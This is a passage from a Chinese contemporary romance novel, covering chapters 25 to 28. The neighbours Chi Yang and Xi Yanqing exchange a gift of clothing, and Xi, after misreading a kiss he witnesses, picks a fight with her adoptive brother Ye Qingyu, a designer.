她还要去叶青屿和云锦书那里拿衣服。
因为齐媛和孩子们都住在池漾家,没有空房间,所以云锦书这几天就暂时和叶青屿住在一起。
这也是时隔这么久之后,池漾第一次来到叶青屿的工作室,那间古朴的西式小楼,已经彻彻底底得焕然一新。
叶青屿从衣柜中取出衣服,递给池漾。
池漾接过,不死心地说了句:“要不我还是给你钱吧,这样我拿着不踏实。”
叶青屿置若罔闻:“市场价五位数呢,你舍得花这个钱买块儿破布?”
到底是人间妄想叶青屿,为了让池漾心安理得地收下,甚至不惜暗讽自己的设计作品!
“我在你心中就那么穷?”
“不不不,你一点都不穷,”叶青屿轻飘飘看她一眼,“你就是抠。”
“......”
“你就拿着吧,我这儿这么多衣服,根本穿不过来,你就当给我去库存了。”
叶青屿心想这衣服他又不白给,更何况是给那位对他的设计情有独钟的男士,他太心甘情愿了好吗!
池漾没再客气,从他手中接过衣服。
叶青屿顿了下,突然提议:“要不这样,你帮我给我的工作室想个名字吧。就当是用劳动成果,买的这件衣服,行不?”
池漾眨眨眼,比出了一个OK的姿势。
从这边拿了显然还不够,池漾还得去那边再捞点。
池漾又走到云锦书那儿,问:“我让你带的T恤呢?”
“哦、哦、哦,”云锦书突然想起这件事,“带了带了。”
他一边说着一边把行李箱放倒,从里面拿出了一件深蓝色T恤,和池漾屏保上的那张照片一模一样的款式。
池漾难得夸了他一句:“靠谱!”
云锦书好奇:“你这是给谁买的?”
“我自己。”
“那你让我买男装干什么?”
“呃......”池漾顿了顿,“男装大,我当裙子穿。”
云锦书:“......”
25. 熨帖
席砚卿本来没想回御府左岸的家,但是惯性这个东西实在是太可怕了。
等他反应过来的时候,车子已经泊进了地下停车场。
算了,他也懒得再折腾了。
于是,果断下车,上了电梯。
结果,电梯刚上行到一层,就停住。
知道一定是有人要进来,席砚卿身子往后退了退,好给别人留出空间。
他有些累了,轻闭着眸,对进来的人是谁没有表现出丝毫的兴趣。
直到一声声“席哥哥”传入耳朵,他才睁开眼睛,看清了来人。是在他家借宿过的那三个小男孩儿,身后跟着与他们一起的那位老师。
齐媛见了席砚卿主动朝他问好:“席先生好。”
席砚卿点点头,礼貌又疏离地回复:“你好。”
随即把目光伸向电梯外,好像在搜寻着什么。
但很遗憾,外面什么都没有。
齐媛见状微微一笑,知味地说:“池漾晚些才过来。”
“哦。”他淡淡一语,听起来不单是失落,好像还蒙着一层更为复杂的情愫。
小孩子们争着按下关门键,电梯门合上,形成密闭空间。
齐媛觉得今天的事情她还是需要说声感谢,诚挚道:“今天谢谢席先生了,白小姐特别专业,孩子们玩得很开心。”
席砚卿微敛眸色,语气平静:“那就好。”
对话浅尝辄止,电梯恢复安静。
孩子们玩了一天早累了,没什么力气再多说话。
齐媛本身也是安安静静的性格,谢意点到即止,不擅长与人套近乎。
至于席砚卿,自然更不必说。
本身就不是什么热性子。
还好,十一层很快就到。
席砚卿向前伸出右手,绅士地示意他们先走。
齐媛和孩子们出了电梯,又转过身来,跟他说再见。
席砚卿看着他们的身影,还是没忍住问了一句:“池漾怎么没跟你们一起回来?”
齐媛停住脚步,认认真真的解释:“她说要去青屿的工作室拿点东西。”
青屿这个名字,第二次传入他的耳朵。
第一次发生在几个小时前,池漾出了会议室的门,便二话不说地拉上了那个男人的手,当时的她,声音虽小,但席砚卿还是听到了。
她说:“青屿,走了。”
在这之前,还有一次,在机场,她声音酥软地叫他“青屿哥哥”。
-
等池漾回到家的时候,孩子们已经洗漱完睡觉了。
齐媛看到池漾回来,一下子从沙发上站了起来,说:“我们刚才回来的时候,在电梯里碰到席先生了。”
池漾一边喝水一边随意道:“这不是很正常吗?”
一栋楼住着,难免会遇到。
说话间,齐媛走到池漾面前,说出自己的担忧:“不过,他的状态,看起来有点不好。”
“不好?”池漾下意识地蹙了下眉,追问道:“哪里不好?”
齐媛不敢把话说得太肯定:“我跟他也就几面之缘,所以我也不好判断。但我就是明显地感觉到席先生今天很累,并且好像......还有点颓。”
齐媛说完,池漾忽然想起她今晚撂下他一走了之的事。
人家好心好意来接她,她可倒好,一句话不说就撂下人家走了。
想到这儿,她的愧疚和歉意瞬间呈指数级增长。
她把这些思绪埋在心底,对齐媛说了些安抚的话:“做投行的,工作压力大,容易累。”
说完目光看向放在沙发上的袋子,然后抬头看了一眼时间。
好像还不算太晚。
“你快去休息吧,走了一天肯定也累了。”池漾笑着,拍了拍齐媛的肩。
齐媛点点头,起身朝卧室走去,结果走到一半,又折返回来。
她站在池漾面前,深思熟虑后开口:“漾漾,我觉得席先生人挺好的。又是收留孩子们睡觉,又是给大家准备早餐,知道你腿受伤了,还给我们找向导。其实,通过今天跟向导的接触,我能感受到她绝对不是普通的旅游专业的大学生,那言谈举止一看就不俗。”
池漾一下子没反应过来:“什么?”
齐媛直接点醒她:“她应该是席先生的朋友吧。席先生估计是怕自己的好意会给你带来负担,特意找了个说辞。”
-
池漾抱着袋子在席砚卿家门口站了好久,就是没勇气按下门铃。
总是觉得莫名心虚,不知该怎么说才好。
就这么等了几分钟。
突然一阵轻微的响动传来,紧接着,门从里面被打开。
门内人和门外人面面相觑。
“你怎么在这里?”
“我......”池漾话说到一半突然止住,目光转向他,“你是要出去吗?”
席砚卿:“......”
这让他怎么答。
他也不知道自己怎么了,时不时就想往门外看一眼,看看她回来了没。
结果,不知道第几次往外看的时候,竟然看到了等在自家门口的她。
“嗯,我打算扔垃圾来着。”席砚卿随便扯了个借口。
池漾看着他空空如也的手,陷入沉默。
席砚卿察觉到她的目光,不自然地捻了捻空荡荡的指腹,囫囵道:“忘拿了”。
“......”
“你找我有事?”他直入主题地问。
池漾点头,从喉咙里溢出一句肯定:“嗯。”
“进来说吧,外面热。”说着,他将身子侧了侧,让她进来。
“不用了......”
其实就是想还他衬衫,一句两句就能说清楚的事。
席砚卿:“进来,我嫌热。”
池漾:“......”
“喝什么?”
“不用麻烦了,”池漾把手中的袋子放在桌子上,轻声说,“我是来还你衬衫的。”
席砚卿脚步没停,走到厨房打开冰箱,目光一边搜寻一边问:“衬衫?什么衬衫?”
搜寻一圈后,他的目光落在一个矮胖矮胖的牛奶瓶上。
拿出牛奶瓶后,他又抬高手臂,从壁橱里拿了一个杯套出来,套在了牛奶瓶外面。
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池漾接着解释:“就是上次我受伤,你借给我的衬衫。”
席砚卿走到她身边,把牛奶递给她。
池漾看着他递过来的东西,不太好意思接,她本来就理亏:“不用了......”
席砚卿声线冷然:“拿着,我手酸。”
“......”
池漾接过牛奶。
席砚卿看着她,语气放缓:“这又不是在国外,晚上喝点牛奶助眠。”
池漾微微一怔,后面那句话她理解,但是前面那句话......是什么意思?
“谢谢。”
反正不知道说什么的时候,说谢谢总没错。
池漾指腹摩挲着手感细腻的杯套,在心里组织了一下语言:“席总监,有件事我觉得我需要向你解释一下。”
席砚卿轻靠在沙发上,好整以暇地望着她:“什么事?”
池漾清清嗓子:“今天在律所,你来接我,结果我没跟你打声招呼就走了。对于这件事情我真的非常抱歉,但我真的不是有意,希望你不要放在心上。”
席砚卿看着她,觉得也是挺神奇,堵在心里的那股气,竟然莫名其妙全消了。
“好,”席砚卿看着她,“但你能不能也回答我一个问题?”
“嗯。”
“你是不是有喜欢的人?”
听到这个问题,池漾下意识地屏住了呼吸。
这一刻终究还是到来了,她拼尽演技才施展出的障眼法,果然还是被他看穿了。
“啊?怎么这么问?”池漾强装镇定,“对了,席总监,我突然想起来我还有点事儿,先走了。”
就这样,她落荒而逃。
-
两个对门,不过几米的距离,池漾却在阖上门的那一刻,感觉像是跑了八百米。
背靠着门,呼呼地喘着气。
像一个武力不可嘉、智力不可嘉、勇气也不可嘉的逃兵。
“你怎么了?”齐媛洗好澡从卫生间里出来,看到她这个样子,还以为她出去夜跑了。
池漾定定心绪,回答说没事。
“你手里拿的什么?这么可爱?”
经这么一问,池漾才想起自己手里还攥着席砚卿刚刚给的牛奶。
得!
逃兵前又可以加一个定语——携款潜逃。
池漾垂下眸,看着手中的“赃物”,小心翼翼地将杯套褪掉,细细观看起这个牛奶瓶来——矮胖矮胖的透明杯子,里面盛着纯白的牛奶,封口处还有一个挽成的精致绳结。
瓶身没有印任何文字或图案,像是从哪里定制的一样。
他刚对她说:“这又不是在国外。”
池漾忽然想起,那次他们去出差,席砚卿曾问过她,喝粥还是牛奶,她说粥。
还说,在国外不想喝牛奶,就想吃中餐。
她端详着这个瓶子,拿在手里攥了一会儿,手心感受到一阵湿濡,仔细一看才发现杯子周身都蒙了一层水汽,泛着潮。
看来是刚从冰箱里拿出来的。
那这个杯套呢?
——这个杯套,难道是怕她手凉?
26. 误会
看她仓皇逃跑,席砚卿有些挫败地抚了抚眉心。
指尖传来一丝湿意,他一回神,才发觉额头上不知何时浮出了一层薄薄的汗。
刚才,慌张、无措、忐忑的,何止是她一个人。
他何尝不是?
他想起几个小时前的那一幕,想起池漾从他面前飞快地走过,在门外毫不犹豫了挽起了那个人的胳膊。
如同那次在机场,他熟稔又自然地接过她的行李箱。
席砚卿自嘲地笑了一声,觉得自己荒唐至极:原来她心动不是为我。
他亲眼看着自己从主题曲,沦为配乐。
想到这儿,席砚卿万般无奈地摇摇头,目光落在她特意送过来的那个袋子。他勾勾手拿过,小心翼翼地拆开,发现里面放着两件衣服,不是一件。
那件白色的应该是他那件衬衫,那件深蓝色的是什么?
他第一反应就是池漾放错了。
-
门铃响的时候,池漾还靠在门上,盯着那个杯套愣神。
任凭心底的那缕暖意和掌心的那缕湿意,交缠发酵成愈发浓烈的气息。
突如其来的门铃声打乱她的心绪,她转过身,踮起脚尖透过猫眼往门外看,看清楚外面站的人后,迅速开了门。
席砚卿似乎是没想到能开得这么快,眼底拂过一丝错愕。
他一低头,看到她一手拿着杯套,一手拿着牛奶瓶,就这么定定地凝望着他,眸间好似起了雾,氤氲一片。
牛奶瓶还渗着细小的水滴,攥着它的那张手,指尖泛着微微的红。
他微皱眉头,把自己的来意放置到一边,问得相当直接:“你这样拿着,手不凉吗?”
手不凉吗?
四字一出,池漾好像听到轰的一声,一团锦簇烟花在她脑海怦然绽开。
——她没猜错。
从门庭冷落到笙歌鼎沸,从寥若晨星到灿若白昼。
她本以为需要跋涉好久好久。
可眼前这个人却为她证明——
这一切,原来仅用四个字就可以做到。
她是布道者,看不到自己的眼睛,看不到那一层雾气瞬间消失殆尽的奇景。
可是,他看的到。
“我拿出来,正准备喝。”
“热了再喝。”
“嗯。”
听她应下之后,席砚卿才把手中的衣服递给她:“这件衣服,你应该放错了吧,我来还给你。”
池漾垂眸,看到他手里拿着的那件蓝色T恤,包装还完好无损,轻声说:“没放错。”
席砚卿有些意外:“没放错?”
池漾目光挪了一寸:“......嗯。”
然后便再也说不下去了。
她从小到大没送过男生衣服,叶青屿自然不需要她送,至于云锦书,有叶青屿在,也没有能用得上她的地方。这是她长这么大以来第一次送男人衣服,身高和体型都是目测的,大致推测了一下尺码,其实她并没有信心自己挑得合适。
听到那个“嗯”字,席砚卿这才仔细观察起外包装上的logo和透明袋里溢出的蓝色,发现竟然有点眼熟,好像在哪见过的样子。
他刚才急着把衣服给她送过来,根本没来得及认真看。
席砚卿又确认了一遍:“确定给我的?”
“嗯,不过我不知道合不合适,如果不合适的话......”突然,池漾的话被一阵包裹的撕拉声打断,她一抬头,看到席砚卿正在拆包装。
三下两下间,那件T恤被完整地铺展开来,席砚卿两手攥着肩线,放在眼前细细地打量着,神情相当专注。
此时此刻,他终于明白,刚才的熟悉感来自哪里。
这件衣服,和池漾手机屏保上那个男孩穿的那件,是同款。
他当时窘迫,随意找了个烂到家的借口:“我就是看这件T恤挺好看,想问问在哪买的。”
以此来掩饰自己吃醋的心思。
她却当了真。
他忽然如愿以偿地笑了。
下一秒,只见他长臂一屈,动作利落地套上了这件T恤。稍稍整理好之后,他看着池漾,直白地问:“好看吗?”
虽然他本来就穿了一件纯白T恤,但是这样罩上,一点儿也不显臃肿,白色T恤的边露着,像是特意搭配的两件套。
池漾抬眸之时,屋顶的灯光恰好斜擦着掠过他耳鬓,衬得他眉眼极其柔和。蓝色T恤加身,无意间泄露出几许他青春时期的概况。
池漾莫名地觉得自己的脸颊有些发烫,极力掩饰着自己的情绪,从鼻尖溢出一个:“嗯。”
他是真的长得很好看。
他肯定......也是不少女孩的青春吧。
席砚卿唇角扬起,眉目放缓:“这是你刚从美国回来的弟弟,云锦书给我买的?”
池漾点头:“嗯。”
“为什么要送我衣服?”
“想谢谢你。”
席砚卿低沉一笑,声音在静谧夜色中极富质感的响起:“池律师这么懂得礼尚往来啊,那我是不是也得礼尚往来一些,亲自跟你弟弟说声谢谢。”
池漾婉拒道:“不用了,他就是个跑腿的。”
席砚卿依旧坚持:“他没在家吗?如果方便的话,我当面谢谢他?”
这种接近小舅子的机会他怎么忍心错过!
池漾跟他解释:“他没在家,家里没地方睡,他就先住在叶青屿那里了。”
叶青屿。
这是他今天第三次听到这个名字。
心情不是太美丽。
席砚卿相当收敛地冷哼了一声,刚刚才消散的心焦气躁又在瞬间涌上心头,于是连关心的问话都带了一丝压迫感:“怎么不让他住在我这里?”
池漾没听懂他
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这句话的意思:“住你那里?”
“难道你还能找到比我家离你家更近的地方吗?”不知不觉间,他的音调仿佛高了几度,“你明明知道我那边有空房间,为什么不让他住在我这里?”
池漾:“......”
正常人都不会这么想的吧......
见她不语,席砚卿意识到自己或许有些失态,说了声再见,便转身离开了。
池漾倚在门口,目光跟着他的背影。
一个过道走完,席砚卿刚要输入密码,又悄悄地转过了脸。
池漾看着他转身,心思一动。
她无数次动容于他的回望。
动容于不管她何时回头,他的目光从来没有挪开过。
斗转星移间,他不动声色地,把她也教会。
楼道的光很柔和,稀稀疏疏地照着地面,自带一层模糊滤镜,于迷蒙中隔绝了两扇门。
多少故人走散在茫茫人海,多少面孔走失在浓浓雾色,他就是怕这样的可能发生,才要一步到位,直接来到离她最近的地方。
初遇的那个眼神给了他太多勇气,他曾经狂妄又有信心。
——只要她的心给他留条缝,他就能钻进去。
可现在,他不确定,她的心究竟给他留缝了吗?
是有些不安吗?还是有些恐惧呢?
才逼着席砚卿问了这样一个问题:“你能不能,不要那么快地,就认定一个人?”
——别这么快地,认定那个人就是叶青屿。或许不是呢。
池漾一愣。
是被婉拒的失落?
还是被拆穿的视死如归?
才推着她回了这样一个答案:“那如果我,已经认定了呢?”
——从第一次见你,我就再没忘了你。那份想念,脱离理性,不讲逻辑,不讲章法,不受掌控地在体内横冲直撞。
——明明知道你不会喜欢我,可我还是忍不住。
——明明知道不可能,可那些心动和贪念越来越真实,越来越无法忽视,我该怎么办?
席砚卿无奈地笑了笑,轻声道了声晚安,径直走进了家门。
没再说话,也没再回头。
-
这晚,她听他的话,把牛奶温热了才喝下去。
那个可爱的透明玻璃瓶,被她洗净、擦干放在了床头柜上。
旁边是她摘下的手表。
月光漫过窗纱,静悄悄地将手表的影子投射在玻璃瓶上。
似在隐喻——伤疤从来不会因为遮掩就不复存在。
过去这个词起得挺云淡风轻,好像只要“过去了”就能“过得去”。
夜色下沉间,所有秘密都被很好地隐藏在暗处。
只有她的眼睛心口如一,说不出谎言。
——诚实地、不受控制地、不加掩饰地,放任一行眼泪滑过眼角。
27. 明暗
后来连着好几天,池漾再也没见过席砚卿。
直到准备送齐媛和孩子们回南栖的时候,她才又一次听到他的名字。
于冬看着对面的门,说:“池漾姐姐,我们要不要跟砚卿哥哥打个招呼再走啊?”
沈一然附和着:“对啊,砚卿哥哥对我们也很照顾呢。”
小孩子们的声音叽叽喳喳,此起彼伏。
池漾安抚性地摸了摸他们的小脑袋,温柔地说:“砚卿哥哥最近很忙,我们去打扰他,会不礼貌。”
孩子们懂事地点点头,没再执著。
她却忽然低下头来,鼻子泛酸。
原来,故事的结局不会写在开头。
再惊心动魄的初遇,也终究只是初遇。
一个小时后,他们到达机场,叶青屿和云锦书带着他们去拿登机牌,池漾站在一旁,打量着周围的一切。
机场还是一如既往的人来人往,有人相聚有人分别,笑与泪都真实。
他们的故事,也是开始于这里。
却没了后续。
这晚,京溪下起了下雨,烟雾弥漫,落了满城。
池漾望着窗外的帘帘雨幕,发给叶青屿一条微信:【工作室的名字叫烟屿吧。】
叶青屿:【什么含义?】
池漾:【烟屿是指烟雾弥漫的小岛,希望你和溯烟哥哥,能够拨开云雾,守得月明。】
她认认真真地打下一个又一个字。
池漾:【烟屿与烟雨同音,希望你们可以既可以拥有柴米油盐的幸福,也可以拥有牵手漫步烟雨的雅兴。】
两情相悦是这世间最难得的事情,如果我不能拥有,那我把我所有的祝福,都给你。
全部都给你。
叶青屿看着屏幕,上面的每一个字,化作硕大雨点,一点一滴地,重重砸进他心底。
他眼眶一热,倏地笑了起来。
这傻妹妹。
不过,最后回的消息依旧混不吝:【凭什么把他的名字放在前面?】
池漾:【......】
还能不能行了?
-
其实,池漾接连几天都没碰到席砚卿是有原因的,因为他去国外出了个长差。
回来那天,飞机落地时已经是晚上,他没让任何人来接,从停车场取了车,独自一人往家开。
这趟差出得并不轻松,一下飞机他就明显感觉到一股疲惫感扑面而来,但因为时差的原因,他又一点都不困。
身体极具疲惫,脑袋却极具清醒,这种感觉最是磨人。
想睡根本睡不着,不睡却也干不了别的。
他就是在这样的状态下,把车子泊进了御府左岸的地下停车场。
只不过,他没马上下车,而是靠在椅背上闭目养神了一会儿。
车载音响的播放键被按下,缓缓流淌出一首悠扬的小提琴曲。
是他那次听到池漾的闹钟声,后去找来的。
作曲者是德沃夏克。
曲子的旋律悠扬舒缓,像缓慢涨起的潮,一丝一缕地漫游进他的耳朵,慢慢地让他整个人都放松了下来,最终悄无声息地抵达共鸣的最高点。
所谓共鸣,其实是演奏者用手中绷紧的弦去牵拉听众脑海里绷紧的弦。
一张一弛,一明一暗。
看似是和解,其实是霸占。
这首柔软的曲子,不费吹灰之力地霸占了他,等他睁开眼的时候,已经单曲循环了不知道多少次。
他目光上移,瞥了一眼时间。
他这一觉睡了有二十来分钟。
“用这么舒缓的曲子当起床铃声,你也是个神人。”
他对着空气,没来由地说了这么一句话。
随即打开安全锁,准备下车。
就在这时,一双缠绵身影,突如其来地闯入他的视线。
这个时间点的地下停车场很安静,没什么车更没什么人,声控灯都暗着,只有通往电梯的走廊上的悬灯持持久久的亮着,于沉寂的夜色里,撒下一片柔白。
那一双人站在走廊旁边的一个暗角,一片不算光明也不算黑暗的模糊地带。
拥吻。
席砚卿对别人的亲热事没有丝毫兴趣,可那一阵难以辨明的熟悉感,让他怎么也挪不开眼。
其中一个身影,他虽然只见过两次,但还是一眼就认了出来。
那人气质太出众。
实在太令人难忘。
而现在,他正与一个男人做咫尺之亲。
席砚卿突然之间感觉心里有根弦,砰的一声,断得彻彻底底。
那一片晦暗里,是一个与他相距甚远的世界。
这天晚上,他记不得那对恋人是何时分开的,记不得自己是如何上楼的,只记得这晚他做了一个梦——梦到池漾在一片无知中轰然坠入深渊,他想要拉住他,手中却只有一根断裂的弦。
他眼睁睁地看着她,直坠深渊。
他于撕裂的尖叫声中,自己把自己吵醒。
黑夜一望无际。
长长久久的,觅不到一丝光。
-
翌日黄昏,叶青屿正在工作室修改设计稿。
他工作室的选址特意避开喧闹的市区,选择了五环边上的一幢白色小楼,周边环境清幽安谧,绿树枝繁叶茂,哪怕在骄阳似火的正午,走在一片梧桐荫下,也能觅得一份清凉。
很适合他创作。
工作室的装修已经完成,他准备过几天举行开业仪式。
席砚卿把车停在大路上,然后顺着那一片梧桐绿荫,往里走。
只消几分钟,便看到了一幢白色小楼,招牌还没挂,但是根据门牌号来看,就是这了。
大门没关,微微虚掩着。
他没贸然闯进,轻轻敲了敲门,对着一大片空荡喊话:“有人吗?”
叶青屿坐在二楼的工作室,听到声音往下望了望,看清来人后,似乎并不吃惊。
他勾完最后一笔线条,对着楼下说:“有人,请进。”
席砚卿关上门,走了进去。
叶青屿工作室安装的是单面玻璃,他可以看到一楼的景况,但是别人看不到他。
至于楼梯,在一块挡板后面,从门口看根本看不到。
所以,席砚卿目光正四处逡巡的时候,叶青屿几乎是瞬间出现在了他面前。
叶青屿看着面前这个气质卓然的男人,挑了挑眉,神色如常地问道:“请问你找谁?”
席砚卿收敛起心中的汹涌情绪,语气镇定地回复:“找你。”
叶青屿听了,自顾自地笑了声。虽然他清楚眼前这个人此行目的肯定不纯,但他还是以一个初次见面的陌生人的身份,确认道:“找我?”
席砚卿不想跟他废话,放低声线,言简意赅:“做衣服。”
“不好意思,我们这里还没开业,如果......”
“我知道,”席砚卿打断他,眉眼一挑,显得不可一世,“可是,那又怎样?”
言辞间带着一股不容置喙的强势。
叶青屿的眉头微蹙了一下。
如果以设计师的身份单看这人,会发现他是个天生的衣架子:身形高瘦挺拔,气质傲然矜贵,眼神里带着生人勿近的凉薄,性子有点冷。
这也是为什么叶青屿在第一眼就对他留下了深刻印象的原因。
他之前见过这个人两次,每次都是在池漾面前。
这两次的他,眉眼里都噙着柔情,好像把那些冷与傲都敛尽,把周身的锋芒与冷箭都清零,在她面前倾泻了一地温柔。
可现在,那些锋芒与冷箭丝毫不加掩饰,就这么横冲直撞地泄露了出来。
直直冲着他,没留一点和煦。
“多少钱,我都付得起。”
席砚卿声线冷着,带着一丝轻嘲,不动声色地接上前面那一句“那又怎样”。
叶青屿听了,嘴角一扯,冷哼一声。
他打从心底讨厌这样的说辞,最讨厌不懂设计也没有审美的人,拿着几个钱就以为自己是大爷,可以只手遮天了。
这话对刚入行的他来说或许还有点诱惑,可现在,屁用没有。
要不是想弄清他来访的原因,他根本懒得和这样的客人多说一句废话。
“好,那先过来量尺码吧。”他最终还是妥协。
席砚卿跟着他往里走。
其实稍微扫一眼,就会发现这间工作室的设计独树一帜,相当吸睛。
但他一点观赏的心思都没有。
叶青屿熟练地从桌子上拿过笔、纸、卷尺等测量工具。
“姓名。”他半躬着身子,表情散漫地问。
席砚卿垂眸看过去,会发现这人确实长了一张相当惊艳的脸。
他肤色很白,但又丝毫不显病态,眼尾很长,不需要笑就自成一条蜿蜒的弧线,自带勾人属性。扫过来的目光好像对世事都漫不经心,带着一股把
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所有人都玩弄于股掌之中的冷傲和得意。
席砚卿偏偏就是厌恶他这种冷傲和得意。
视情感为玩物。
“席砚卿。”他紧了下拳头,不知道自己装病猫还能装多久。
叶青屿没落笔,反倒是直起了身子,微微一扬下巴,问道:“分别是哪三个字?”
席砚卿斜眸一扫,语气冰冷:“写拼音。”
叶青屿:“......”
此时此刻,他只觉得内心有一万只曹尼玛在狂奔:
我招你惹你了?
一线明星来找我做衣服都不敢这么豪横,你特么牛逼个什么劲儿!
难不成是跟我妹告白被我妹拒绝了,那你不是更应该讨好我吗?
叶青屿真的觉得自己的脾气从来没有这么好过。
后面的个人信息他也懒得问了,直接拿过卷尺让席砚卿站好,准备给他测尺码。
“身体站直,双臂张开。”
席砚卿这次倒是还挺配合,一一照做。
叶青屿将尺子一头按在肩颈线,另一头随着他胳膊伸展的幅度慢慢把尺子贴过去。
风暴就是在这个时候开始蓄力。
席砚卿感觉到胳膊传来的这个人的体温,虽然只是轻轻一点,但心里依然泛起一阵难受。尤其是想到他昨天的所作所为,想到他对池漾情感的玩弄。
这事不能细想,一想脑仁就嗡嗡地疼。
“你们工作室只做男装?”席砚卿尽量无痕地切开一道口。
“嗯。”叶青屿一边记下尺码,一边回答。
“为什么不做女装?”
叶青屿不知道他是出于何种目的才问的这两个问题,没想深入解释,只是淡淡道:“没那么多心思。”
没那么多心思。
就是这六个字彻彻底底惹怒了席砚卿这个装了许久的病猫。
勉强撑着的好语气也没什么装下去的必要了。
他目中无人地冷哼一声,将心里的嘲讽与轻蔑化作明枪暗箭,说出的话仿佛字字都带着刺,直直刺向叶青屿:“没那么多心思?呵,我看你玩弄女人倒是玩弄得挺得心应手、挺开心的啊。”
听了这话,叶青屿装了这么久的好脾气也装不下去了,旋即停下笔,直起身来想向这个口出狂言的人讨个说法。
不料,话还未出口,一个拳头就轮了过来。
直直砸向他右侧唇角,突如其来的冲击力使得他不由自主地往后退了两步,撞到墙壁才被迫停止,他感觉到嘴角一阵吃痛,没忍住嘶了一声。
“你有病吧你!”
此时此刻,叶青屿心中的愤怒已经完全取代了方才的疑惑和好奇,他紧绷着肩膀,眼中都是怒火,作势就要打过去。
席砚卿见状丝毫不加犹豫,迈着大步直冲向他,两手一抬高,紧紧揪住叶青屿的衣领,力道很大,猛推着他往后面墙壁上砸。
叶青屿力道敌不过他,被他狠狠撞向墙面。
两个人身高不相上下,目光在同一条水平线上对视。
眼神里都燃着怒火,顷刻间就能点燃。
席砚卿咬着牙,怒不可遏地警告:“你给我听好了!我特么管你是同性恋、异性恋、还是双性恋,那是你的自由,不关我屁事!但是,你要想借此来伤害池漾,借此脚踏两只船,瞒着她玩弄她的感情,我会让你死的很惨。”
叶青屿内心升起一个又一个弹幕:
卧槽?
这什么剧情走向?
他为什么一个字都没听懂?
席砚卿紧紧钳制着他,让他动弹不得。
叶青屿强势反抗:“谁特么伤害漾漾了?谁特么脚踏两只船了?你打错人了吧你!”
席砚卿生平最讨厌这种明明做了错事还死不承认的人,手上的力道又加紧了几分,怒火中烧,话语间带着狠劲:“你别以为你做的那些龌龊勾当没人看见。”
一句话刚说完,又有新的一团火从他的五脏六腑往上涌:“还有,你嘴巴给我放干净点,漾漾这个名字是你这种人渣能叫的!”
叶青屿:卧槽?
他的忍耐值已经到达极限,眼睛里烧着熊熊怒火,语气呵斥:“我怎么叫我妹,关你屁事!你特么算老几?”
席砚卿突然怔住:“你妹?”
拳头也随之松懈了下来,叶青屿趁着这个空档,眼疾手快地反客为主,一把把他扔向墙面,火冒三丈,怒视着他:“说!你今天到底是来干什么的!”
28. 对抗
感觉到自己落于下风,席砚卿手上又开始施力,迅速把局面反转。
两个人都脱离墙面,在空荡荡的房间内,凛然对峙。
席砚卿对叶青屿的这番说辞厌恶至极:“你少在这儿跟我玩这种低级的文字游戏,拿妹妹当障眼法!你别以为我不知道,她只有一个弟弟!”
叶青屿没否认,眉目间多了几许复杂的神色,下一秒,他没有掩饰地承认:“确实,我跟她没有血缘关系。”
席砚卿感觉自己被他耍的团团转:“那你在这儿......”
他没来得及说出口的后半句话“在这扯什么犊子”被叶青屿出乎意料的解释拦腰截断。
“我父母收养了他们姐弟。”
他的声音出奇的冷静,席砚卿也在恍惚间渐渐松开了自己钳制着他的手,不受控制地往后趔趄了一小步。
这话什么意思?
收养?
席砚卿没敢细想,刚才烧至喉咙的那团火,摧枯拉朽般,瞬间烧得残败又破碎。
徒留一摊灰烬,咽不下去,也咳不出来。
如锯齿盘踞在喉间,啄得他痛痒。
他哽了下喉:“她失去父母的年纪,很小?”
叶青屿合上眼,喉结自上而下地翻滚着。
似在攀爬最险峻山峰,每一步都踩着刀尖。
“嗯。”他没说具体的数字,却又让所有悲苦都具象。
或是闭上眼太黑暗,太虚无,太空荡荡。
连坠落都不知道坠落何方。
叶青屿终于还是抬起了眼睫,目光失焦地四处打量着,好像在寻找光源。
此时,室内亮着灯,灿若白昼;室外烧着云,气势如虹。
哪里哪里都是光。
却没有一束,能接纳他失焦的双眼。
往事如潮,逼着他沉溺。
沉寂许久过后,叶青屿的话落在一滩泥泞:“我觉得,你还不配听我讲她的故事。”
话落,叶青屿至此封口,没再多说一个字。
这也意味着,他这块磨刀之石,就此消损。
那把盘踞在席砚卿喉间的锯齿,会慢慢生锈、腐蚀、变钝,失掉锐利的机会,也失去伤人的资格。
这是独属于叶青屿式的温柔。
身为哥哥,他能替池漾扛的,他来扛就行。
陪在她身边的那个男人不需要。
他不需要那个男人扛起她的过去,他只希望他扛起她的未来。
纵然,他心里明镜般清楚,他的池漾,过去和未来都能自己扛。
可他,仍旧为她,保留一份凑巧和奢望。
-
原先慌乱躁动的气氛,终于在沉默中慢慢冷寂了下来。
不再针锋相对,两人本应如释重负,却不料都丧尽了力气。
叶青屿语调轻柔,娓娓道来他早就想说的话:“不管当年的她有多难过多无助,那事儿也已经过去这么多年了,再痛的伤口,该结痂的结痂,该愈合的愈合,该留疤的留疤。但是,不管是什么形态的伤口,都没有痊愈这一说。结痂的有红痕,愈合的有新痕,留疤的有创痕。”
他眸光低敛,仿佛是在讲一个约定俗成的哲理,抑或是在讲一个与己无关的往事。
——面上是千帆阅尽的释然,内里却是千疮百孔的遗憾。
他侧身看向席砚卿,言辞郑重几分:“所以你,对于这段往事,不知道就是不知道。不要去问她,不要妄图去治愈她,更不要妄图去拯救她。她不需要。她已经努力,让伤口长出翅膀了。你别折去她翅膀,为她造滑翔翼。这不是为她好,是逼迫她再一次,向死而生。”
叶青屿的话,字字不落,全部恪尽职守地砸进席砚卿心中。
没有一个字消极怠工。
不知过了多久,席砚卿才从喉咙里艰难地挤出一个“嗯”字。
至此,盘踞在他喉间的锯齿终于发轫。
他将那摊灰烬,就着血,咽了下去。
之后的所有对话都得哽着从喉咙里出。
席砚卿:“为什么要告诉我这些?”
叶青屿:“能为什么?”
为他跟池漾一起生活了这么多年,没人比他更了解她。
池漾仅因一次陌生的对视就再没忘掉席砚卿,这是他了解到的故事起点。
后来,她又因一次飙升的心率,撒了个旁人看来天衣无缝、他看来漏洞百出的谎。
这不是他想要的故事终点。
“席砚卿,你特么别想抄近道,”叶青屿一脸玩世不恭的懒散,“想追我妹,就靠自己的本事去追,在这儿旁敲侧击地问她对你的态度算什么男人。”
席砚卿:“......”
夜色渐深。
席砚卿沉默良久,话里带着歉意:“刚才那一拳......”
叶青屿不留情面地打断他:“别跟我说对不起。”
“要不你打回来吧。”
“......”叶青屿越琢磨越觉得不对劲,“所以你这一拳,是因为误会我脚踏两只船?”
席砚卿嗯了声,没什么兴致再去细究这件事。
叶青屿却开始思考,席砚卿是怎么发现的。
其实他和江溯烟都很低调,一般不会在公共场合太过明目张胆。
那就只有一种可能了,昨天晚上的地下停车场。
那个时候已经很晚了,他都以为停车场没什么人了。
等等!
